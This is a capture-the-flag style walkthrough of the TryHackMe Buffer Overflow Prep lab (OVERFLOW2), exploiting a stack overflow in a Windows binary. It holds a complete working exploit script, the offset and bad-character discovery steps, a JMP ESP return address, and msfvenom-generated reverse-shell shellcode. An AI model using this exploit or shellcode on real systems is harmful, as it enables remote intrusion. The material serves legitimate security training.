[EN] Buffer Overflow Prep — OVERFLOW2 Walkthrough
Hello everyone.
In this walkthrough, I will be demonstrating the exploitation of a Stack-based Buffer Overflow Vulnerability through the vulnerable binary given in TryHackMe — Buffer Overflow Prep lab (OVERFLOW2). Before diving in, I’d like to give thanks to Tib3rius for creating this useful and informative box.
Foreknowledge
If you are new to Buffer Overflows and you don’t have any prior knowledge about this attack as I was before practicing this box, here are some useful things that you should know about.
Small note: In this walkthrough, we will be exploiting a Stack-based Buffer Overflow Vulnerability on a Windows system.
When a binary gets executed, a memory space gets allocated in memory for that application; of course in some defined boundaries. The memory type that is used in this process on Windows systems is as follows:
Stack
When an application is executed, the operating system creates a Process for that application. Each Process contains some segments named Threads.
A Thread executes its codes either from the Program Image or from DLLs. During this process, there are some prerequisites needed by the application. These things can be named as functions, local variables of the program or any other information related with the application. The most important part is; these program parts need some memory space while they are being used. This is the place where Stack takes action and each thread (almost in all cases, there are multiple threads) gets their own Stack.
When a function in a Thread gets called during the execution, it must know where (to which memory address) it should return when the execution finishes. This return address, function parameters and the local variables of the function are stored in a structure called as Stack Frame, which is placed in the Stack itself.
When the execution of the function ends, program continues its execution flow on the pointed return address from the Stack Frame.
CPU Registers
In short, we’ll be interested in 3 different registers; namely ESP, EBP and EIP.
- ESP (Stack Pointer): The pointer that always points the top of the Stack.
- EBP (Base Pointer): It contains the base address of a function’s frame (to reach function related info such as local variables, return address, etc). Functions use EBP to reach their Stack Frame.
- EIP (Instruction Pointer): This is the most important register for us when we are dealing with memory-based vulnerabilities. Because, EIP points the next instruction that will be executed in the execution flow and if we can manage to control EIP, we can manipulate this register for our purposes.
Steps on Performing a Buffer Overflow Attack
- Fuzzing: Sending some characters to the target application to see whether we can break its execution flow.
- Finding Offset: In this step, we need to find how many bytes we need to reach EIP and overwrite it.
- Controlling & Overwriting the EIP: When we find the correct offset, we can overwrite the EIP depending on our purposes.
- Finding Bad Characters: A Bad Character is simply an unwanted character/list of unwanted characters that can break out our payload. We need to spot these bad chars and omit them from our payload.
- Finding JUMP Point: This is the step that we tell the program where it should continue its execution from.
- Generating Shellcode: Basicly creating our payload to get a reverse shell from the target.
Alright, enough with words, let’s get down to business.
The Application
In Buffer Overflow Attacks, in order for us to develop our attack vector, there must be a BOF vulnerable parameter or variable in the application. When we execute given program in the lab (oscp.exe), we see the following screen:
What we can assume in here is, the variable that holds the incoming connections might be vulnerable to a Buffer Overflow Attack. Thus, we can proceed to next step.
Fuzzing
We know that oscp.exe
binary is vulnerable to a Stack-based Buffer Overflow attack, so we can start our fuzzing process. To do this, we can use this sample script that is given in the lab.
fuzzer.py
:
#!/usr/bin/python3import socket, time, sysip = "<RHOST>" # target IP
port = 1337 # target port that the application is running on
timeout = 5 # connection timeoutprefix = "OVERFLOW2 "
buffer = prefix + "A" * 100 # good ol' fuzzing with "A" charwhile True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing w/{} bytes...".format(len(buffer) - len(prefix)))
s.send(bytes(buffer, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes.".format(len(buffer) - len(prefix)))
sys.exit(0)
buffer += 100 * "A" # increase buffer size if app is not crashed
time.sleep(1) # wait for 1 sec
After executing this script, we can see that the program gets crashed while fuzzing with 700 bytes, this means that our offset should be between 600 and 700 bytes.
# python3 fuzz.py
Fuzzing w/100 bytes...
Fuzzing w/200 bytes...
Fuzzing w/300 bytes...
Fuzzing w/400 bytes...
Fuzzing w/500 bytes...
Fuzzing w/600 bytes...
Fuzzing w/700 bytes...
Fuzzing crashed at 700 bytes.
Finding Offset
Now, it’s time to find our exact offset value in order to control the EIP in next step. To find our exact offset, we need to use unique set of characters in order to spot the exact offset value. The reason behind using a unique set of characters is; since buffer gets filled by each byte as one-by-one, we can distinguish unique characters easily while trying to spot the offset value.
To create unique set of characters, we can use a built-in Metasploit tool named msf-pattern_create
:
# msf-pattern_create -l 1000
Remember that our program crashed at 700 bytes but we’ve used 1000 bytes on creating the pattern. We did this to prevent any trouble that might happen on finding the offset. It’s OK to give couple of hundred bytes more when creating your pattern. This outputs the following:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
After creating this pattern, we need to create our exploit (also given in the walkthrough) and put these values into our payload
area.
exploit.py
#!/usr/bin/python3import socketip = "<RHOST>"
port = 1337prefix = "OVERFLOW2 "
offset = 0 # destination offset
overflow = "A" * offset # try to reach to vulnerable offset
retn = "" # return address, we'll use this later
padding = "" # variable to store our NOPs, we'll use this later also
payload = "" # evil shellcode
postfix = ""# the payload that should be sent
buffer = prefix + overflow + retn + padding + payload + postfix # establish connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try:
s.connect((ip, port))
print("Sending payload..")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Sent!")
except:
print("No connection!")
Edit payload
variable by pasting in the pattern that we previously created and execute exploit.py
.
After executing the exploit, in Immunity Debugger, we can see the EIP
value is overwritten by the value 31764130
. This value will now help us to find our offset value.
To find the offset value, we can do two different things; one is simply typing the following in Immunity Debugger command-line:
#Method 1:
!mona findmsp -distance 1000
After typing this, we’ll see the following:
As we can see, the offset value for EIP is 634.
#Method 2:
We can use built-in Metasploit module msf-pattern_offset
to find the offset:
# msf-pattern_offset -l <PATTERN_LENGTH> -q <EIP_VALUE>
In our case:
# msf-pattern_offset -l 1000 -q 76413176
[*] Exact match at offset 634
Now that we’ve found our offset value, it’s time to check if we can ACTUALLY control the EIP. To do this, we’ll make some small changes in our exploit:
...
prefix = "OVERFLOW2 "
offset = 634
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
...
Note that we’ve changed offset to 634, retn to BBBB and lastly we’ve deleted the content of the payload variable for now. The reasons why we made these changes are; this time we’ll fill our buffer with known offset value (634) and we are going to need a different character than “A” to differentiate if we can overwrite EIP successfully. If EIP gets filled by the value 42424242
, which equals BBBB
in ASCII, that means we have spotted our offset value correctly. Make modifications and run the exploit again:
Since EIP got filled out by the value 42424242
, we can understand that we are on right track up to now.
Now, it’s time to find the Bad Characters.
Finding Bad Characters
#Method 1:
As we mentioned before, a “Bad Character” is simply an unwanted character/list of characters that can break our payload. We need to spot these bad chars and omit them from our payload. We can use following mona command to create a byte-array of potentially unwanted bad chars. While we are doing this, we can exclude \x00
, the “null-byte” by default since this byte terminates the rest of the program when it gets executed.
!mona bytearray -b "\x00"
We see that our bytearray (excluding \x00
badchar) is now created. We can get this bytearray from the output file and put it into our payload section in our exploit:
...
prefix = "OVERFLOW2 "
offset = 634
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""
...
After executing our exploit.py file again, we need to execute following command to see our new bad character list:
!mona compare -f c:\mona\oscp\bytearray.bin -a <ESP_ADDRESS>
From above, we see that our POSSIBLY unwanted characters are: \x00\x23\x24\x3c\x3d\x83\x84\xba\xbb
. Note that not all of these characters are bad characters, sometimes one bad character may cause corruption for the next character. After trying possible combinations a little bit, we see that our bad character list is: \x00\x23\x3c\x83\xba
.
#Method 2:
Right-click to ESP
in Immunity Debugger, select Follow In Dump
. And from the lower-left table, notice unreadable funny characters and omit them from your payload.
Continuing from #Method 1, we’ll update our mona command with our new bad character list:
!mona bytearray -b "\x00\x23\x3c\x83\xba"
Update your payload:
...
prefix = "OVERFLOW2 "
offset = 634
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""
...
Execute your exploit and run the compare command again:
!mona compare -f c:\mona\oscp\bytearray.bin -a <ESP_ADDRESS>
This time, we don’t see any bad characters that should be omitted from our payload and this means we are ready for next step, which is Finding a JUMP Point.
Finding a JUMP Point
In this step, what we need to do is simply trying to find a location in the memory that has no memory protection; such as DEP (Data Execution Prevention), ASLR (Address Space Layout Randomization), etc. The reason why we are doing this is, we will need a safe space for our shellcode when we want to execute our exploit. Again, we have two different simple methods to achieve this purpose.
#Method 1:
Run:
!mona modules
As we can see, we have two possible spots we can use (all memory protection modules set to FALSE). One is essfunc.dll
, and the other one is oscp.exe
itself. Since it is executed inside the program, we’ll go with essfunc.dll
. (We could have proceeded to generate our shellcode from here but we need to better understand what’s going on).
Now we’ve spotted our .dll
file, we need to determine the JUMP point by finding the OPCODE equivalent of JMP
. To do this, we can use a built-in Metasploit module named msf-nasm_shell
.
# msf-nasm_shell
nasm > JMP ESP
00000000 FFE4 jmp esp
In here, we’ve calculated this value for ESP
because it will point our payload’s starting point. Next, we’ll use following mona command:
!mona find -s "\xff\xe4" -m essfunc.dll
#Method 2:
Just run following command:
!mona jmp -r esp -cbp "<BAD_CHARS>"
After executing this command, we can see in Log Data
screen that we have 9 number of pointers of type jmp esp
. From these pointers, we’ll select first one (this is random, if this won’t work, you can go with the next one). Note down the memory address of this pointer, we’ll use it as a Return Address.
Generating Shellcode
# msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -b '\x00\x23\x3c\x83\xba' EXITFUNC=thread -f py
By executing above command, our shellcode will be generated:
buf = ""
buf += "\xfc\xbb\x7a\x7c\x89\xd3\xeb\x0c\x5e\x56\x31\x1e\xad"
buf += "\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x86"
buf += "\x94\x0b\xd3\x76\x65\x6c\x5d\x93\x54\xac\x39\xd0\xc7"
buf += "\x1c\x49\xb4\xeb\xd7\x1f\x2c\x7f\x95\xb7\x43\xc8\x10"
buf += "\xee\x6a\xc9\x09\xd2\xed\x49\x50\x07\xcd\x70\x9b\x5a"
buf += "\x0c\xb4\xc6\x97\x5c\x6d\x8c\x0a\x70\x1a\xd8\x96\xfb"
buf += "\x50\xcc\x9e\x18\x20\xef\x8f\x8f\x3a\xb6\x0f\x2e\xee"
buf += "\xc2\x19\x28\xf3\xef\xd0\xc3\xc7\x84\xe2\x05\x16\x64"
buf += "\x48\x68\x96\x97\x90\xad\x11\x48\xe7\xc7\x61\xf5\xf0"
buf += "\x1c\x1b\x21\x74\x86\xbb\xa2\x2e\x62\x3d\x66\xa8\xe1"
buf += "\x31\xc3\xbe\xad\x55\xd2\x13\xc6\x62\x5f\x92\x08\xe3"
buf += "\x1b\xb1\x8c\xaf\xf8\xd8\x95\x15\xae\xe5\xc5\xf5\x0f"
buf += "\x40\x8e\x18\x5b\xf9\xcd\x74\xa8\x30\xed\x84\xa6\x43"
buf += "\x9e\xb6\x69\xf8\x08\xfb\xe2\x26\xcf\xfc\xd8\x9f\x5f"
buf += "\x03\xe3\xdf\x76\xc0\xb7\x8f\xe0\xe1\xb7\x5b\xf0\x0e"
buf += "\x62\xcb\xa0\xa0\xdd\xac\x10\x01\x8e\x44\x7a\x8e\xf1"
buf += "\x75\x85\x44\x9a\x1c\x7c\x0f\xaf\xe8\x08\x5a\xc7\xea"
buf += "\xf4\x75\x44\x62\x12\x1f\x64\x22\x8d\x88\x1d\x6f\x45"
buf += "\x28\xe1\xa5\x20\x6a\x69\x4a\xd5\x25\x9a\x27\xc5\xd2"
buf += "\x6a\x72\xb7\x75\x74\xa8\xdf\x1a\xe7\x37\x1f\x54\x14"
buf += "\xe0\x48\x31\xea\xf9\x1c\xaf\x55\x50\x02\x32\x03\x9b"
buf += "\x86\xe9\xf0\x22\x07\x7f\x4c\x01\x17\xb9\x4d\x0d\x43"
buf += "\x15\x18\xdb\x3d\xd3\xf2\xad\x97\x8d\xa9\x67\x7f\x4b"
buf += "\x82\xb7\xf9\x54\xcf\x41\xe5\xe5\xa6\x17\x1a\xc9\x2e"
buf += "\x90\x63\x37\xcf\x5f\xbe\xf3\xef\xbd\x6a\x0e\x98\x1b"
buf += "\xff\xb3\xc5\x9b\x2a\xf7\xf3\x1f\xde\x88\x07\x3f\xab"
buf += "\x8d\x4c\x87\x40\xfc\xdd\x62\x66\x53\xdd\xa6\x66\x53"
buf += "\x21\x49"
Change “buf” to “payload” and paste this shellcode into your exploit:
offset = 634
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = ""
payload += "\xfc\xbb\x7a\x7c\x89\xd3\xeb\x0c\x5e\x56\x31\x1e\xad"
payload += "\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x86"
payload += "\x94\x0b\xd3\x76\x65\x6c\x5d\x93\x54\xac\x39\xd0\xc7"
payload += "\x1c\x49\xb4\xeb\xd7\x1f\x2c\x7f\x95\xb7\x43\xc8\x10"
payload += "\xee\x6a\xc9\x09\xd2\xed\x49\x50\x07\xcd\x70\x9b\x5a"
payload += "\x0c\xb4\xc6\x97\x5c\x6d\x8c\x0a\x70\x1a\xd8\x96\xfb"
payload += "\x50\xcc\x9e\x18\x20\xef\x8f\x8f\x3a\xb6\x0f\x2e\xee"
payload += "\xc2\x19\x28\xf3\xef\xd0\xc3\xc7\x84\xe2\x05\x16\x64"
payload += "\x48\x68\x96\x97\x90\xad\x11\x48\xe7\xc7\x61\xf5\xf0"
payload += "\x1c\x1b\x21\x74\x86\xbb\xa2\x2e\x62\x3d\x66\xa8\xe1"
payload += "\x31\xc3\xbe\xad\x55\xd2\x13\xc6\x62\x5f\x92\x08\xe3"
payload += "\x1b\xb1\x8c\xaf\xf8\xd8\x95\x15\xae\xe5\xc5\xf5\x0f"
payload += "\x40\x8e\x18\x5b\xf9\xcd\x74\xa8\x30\xed\x84\xa6\x43"
payload += "\x9e\xb6\x69\xf8\x08\xfb\xe2\x26\xcf\xfc\xd8\x9f\x5f"
payload += "\x03\xe3\xdf\x76\xc0\xb7\x8f\xe0\xe1\xb7\x5b\xf0\x0e"
payload += "\x62\xcb\xa0\xa0\xdd\xac\x10\x01\x8e\x44\x7a\x8e\xf1"
payload += "\x75\x85\x44\x9a\x1c\x7c\x0f\xaf\xe8\x08\x5a\xc7\xea"
payload += "\xf4\x75\x44\x62\x12\x1f\x64\x22\x8d\x88\x1d\x6f\x45"
payload += "\x28\xe1\xa5\x20\x6a\x69\x4a\xd5\x25\x9a\x27\xc5\xd2"
payload += "\x6a\x72\xb7\x75\x74\xa8\xdf\x1a\xe7\x37\x1f\x54\x14"
payload += "\xe0\x48\x31\xea\xf9\x1c\xaf\x55\x50\x02\x32\x03\x9b"
payload += "\x86\xe9\xf0\x22\x07\x7f\x4c\x01\x17\xb9\x4d\x0d\x43"
payload += "\x15\x18\xdb\x3d\xd3\xf2\xad\x97\x8d\xa9\x67\x7f\x4b"
payload += "\x82\xb7\xf9\x54\xcf\x41\xe5\xe5\xa6\x17\x1a\xc9\x2e"
payload += "\x90\x63\x37\xcf\x5f\xbe\xf3\xef\xbd\x6a\x0e\x98\x1b"
payload += "\xff\xb3\xc5\x9b\x2a\xf7\xf3\x1f\xde\x88\x07\x3f\xab"
payload += "\x8d\x4c\x87\x40\xfc\xdd\x62\x66\x53\xdd\xa6\x66\x53"
payload += "\x21\x49"
postfix = ""
Note that we’ve made some changes other than the payload
value. One of these changes is retn
value and the other one is padding
. We gave the value of \xaf\x11\x50\x62
into our retn
variable because our Return Address was 0x625011af
and we wrote this value backwards because it’s in Little Endian format. Also, we gave "\x90" * 16
value into our padding
variable to give our payload some space to unpack itself, by defining a padding string containing NOPs
.
The final exploit should look like:
#!/usr/bin/python3import socketip = "<RHOST>"
port = 1337prefix = "OVERFLOW2 "
offset = 634
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = ""
payload += "\xfc\xbb\x7a\x7c\x89\xd3\xeb\x0c\x5e\x56\x31\x1e\xad"
payload += "\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x86"
payload += "\x94\x0b\xd3\x76\x65\x6c\x5d\x93\x54\xac\x39\xd0\xc7"
payload += "\x1c\x49\xb4\xeb\xd7\x1f\x2c\x7f\x95\xb7\x43\xc8\x10"
payload += "\xee\x6a\xc9\x09\xd2\xed\x49\x50\x07\xcd\x70\x9b\x5a"
payload += "\x0c\xb4\xc6\x97\x5c\x6d\x8c\x0a\x70\x1a\xd8\x96\xfb"
payload += "\x50\xcc\x9e\x18\x20\xef\x8f\x8f\x3a\xb6\x0f\x2e\xee"
payload += "\xc2\x19\x28\xf3\xef\xd0\xc3\xc7\x84\xe2\x05\x16\x64"
payload += "\x48\x68\x96\x97\x90\xad\x11\x48\xe7\xc7\x61\xf5\xf0"
payload += "\x1c\x1b\x21\x74\x86\xbb\xa2\x2e\x62\x3d\x66\xa8\xe1"
payload += "\x31\xc3\xbe\xad\x55\xd2\x13\xc6\x62\x5f\x92\x08\xe3"
payload += "\x1b\xb1\x8c\xaf\xf8\xd8\x95\x15\xae\xe5\xc5\xf5\x0f"
payload += "\x40\x8e\x18\x5b\xf9\xcd\x74\xa8\x30\xed\x84\xa6\x43"
payload += "\x9e\xb6\x69\xf8\x08\xfb\xe2\x26\xcf\xfc\xd8\x9f\x5f"
payload += "\x03\xe3\xdf\x76\xc0\xb7\x8f\xe0\xe1\xb7\x5b\xf0\x0e"
payload += "\x62\xcb\xa0\xa0\xdd\xac\x10\x01\x8e\x44\x7a\x8e\xf1"
payload += "\x75\x85\x44\x9a\x1c\x7c\x0f\xaf\xe8\x08\x5a\xc7\xea"
payload += "\xf4\x75\x44\x62\x12\x1f\x64\x22\x8d\x88\x1d\x6f\x45"
payload += "\x28\xe1\xa5\x20\x6a\x69\x4a\xd5\x25\x9a\x27\xc5\xd2"
payload += "\x6a\x72\xb7\x75\x74\xa8\xdf\x1a\xe7\x37\x1f\x54\x14"
payload += "\xe0\x48\x31\xea\xf9\x1c\xaf\x55\x50\x02\x32\x03\x9b"
payload += "\x86\xe9\xf0\x22\x07\x7f\x4c\x01\x17\xb9\x4d\x0d\x43"
payload += "\x15\x18\xdb\x3d\xd3\xf2\xad\x97\x8d\xa9\x67\x7f\x4b"
payload += "\x82\xb7\xf9\x54\xcf\x41\xe5\xe5\xa6\x17\x1a\xc9\x2e"
payload += "\x90\x63\x37\xcf\x5f\xbe\xf3\xef\xbd\x6a\x0e\x98\x1b"
payload += "\xff\xb3\xc5\x9b\x2a\xf7\xf3\x1f\xde\x88\x07\x3f\xab"
payload += "\x8d\x4c\x87\x40\xfc\xdd\x62\x66\x53\xdd\xa6\x66\x53"
payload += "\x21\x49"
postfix = ""buffer = prefix + overflow + retn + padding + payload + postfix # the payload that should be sents = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # establish connectiontry:
s.connect((ip, port))
print("Sending payload..")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Sent!")
except:
print("No connection!")
Finally, we can execute our exploit:
# python3 exploit.py
Sending payload..
Sent!
That was all I wanted to share about this lab.
Thank you for reading, see you on the next one.
References: